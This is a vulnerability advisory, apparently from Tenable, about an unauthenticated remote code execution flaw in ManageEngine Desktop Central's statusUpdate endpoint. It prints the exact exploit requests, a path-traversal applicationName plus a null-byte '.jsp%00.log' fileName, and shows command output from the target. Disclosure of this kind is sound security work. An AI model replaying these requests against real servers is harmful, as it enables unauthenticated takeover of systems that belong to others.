ManageEngine Desktop Central contains a flaw that may allow an unauthenticated attacker to execute remote code. The vulnerability is due to the 'applicationName' parameter not being sanitized, and the fact that the 'fileName' parameter can be constructed such that it can pass various checks but still end up with a .JSP extension. The following example shows the output: [mamort@park]$ nasl -WaXt 192.168.0.99 medc_fileupload_rce_91082.nasl Nessus was able to exploit the issue using the following requests : ------------------------------ Request #1------------------------------ POST /statusUpdate?actionToCall=3&actions=2&domainName=Nessus_dom&customerId=1&configDataID=1&computerName=db-dev&applicationName=../../../../../&fileName=medc_fileupload_rce_91082.jsp%00.log HTTP/1.1 Host: 192.168.0.99:8020 Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1 Accept-Language: en Content-Type: text/html Connection: Keep-Alive Content-Length: 383 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) Pragma: no-cache Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, / ------------------------------ Request #2------------------------------ GET /medc_fileupload_rce_91082.jsp HTTP/1.1 Host: 192.168.0.99:8020 Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1 Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) Pragma: no-cache Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, / This produced the following truncated output (limited to 10 lines) : ------------------------------ snip ------------------------------ Windows IP Configuration Host Name . . . . . . . . . . . . : db-w2k8-vm82 Primary Dns Suffix . . . . . . . : [...] ------------------------------ snip ------------------------------ In addition, there are many places where a full-path file name is constructed from user-supplied POST URL parameters (some of which are not sanitized) and user-supplied POST data is written to the file. With the ability to early-terminate Java string concatenation such as: String refreshFileName = customerId + "" + computer + "" + domain + ".txt"; An attacker can likely drop a .JSP file with their chosen content in an arbitrary directory location (e.g., ), and still able to pass file name checks like: // Check for directory traversal and make sure the file name ends with certain extension(s) FileUploadUtil.hasVulnerabilityInFileName(fileName, "log"); As such, there are likely many other attack vectors for a remote file upload that would lead to remote code execution. This could be more serious for MSP edition of the ManageEngine Desktop Central where it's likely to be Internet facing. Due to extensive delays in obtaining CVE assignments through 2015, Tenable has adopted a more open CNA assignment system and is assigning our own CVE ID that we feel will not conflict with any current assignments or CNA pools. This will assist researchers and vendors in referencing this vulnerability should they work with the named vendor, or other vendors impacted by the issue. Per this system, Tenable will self-assign CVE IDs in the range of CVE-YEAR-82000 through CVE-YEAR-82999. These can be added to the master CVE database trivially, as seen by CVE-2014-999999. This is being done primarily so that we continue to be CVE-Compatible.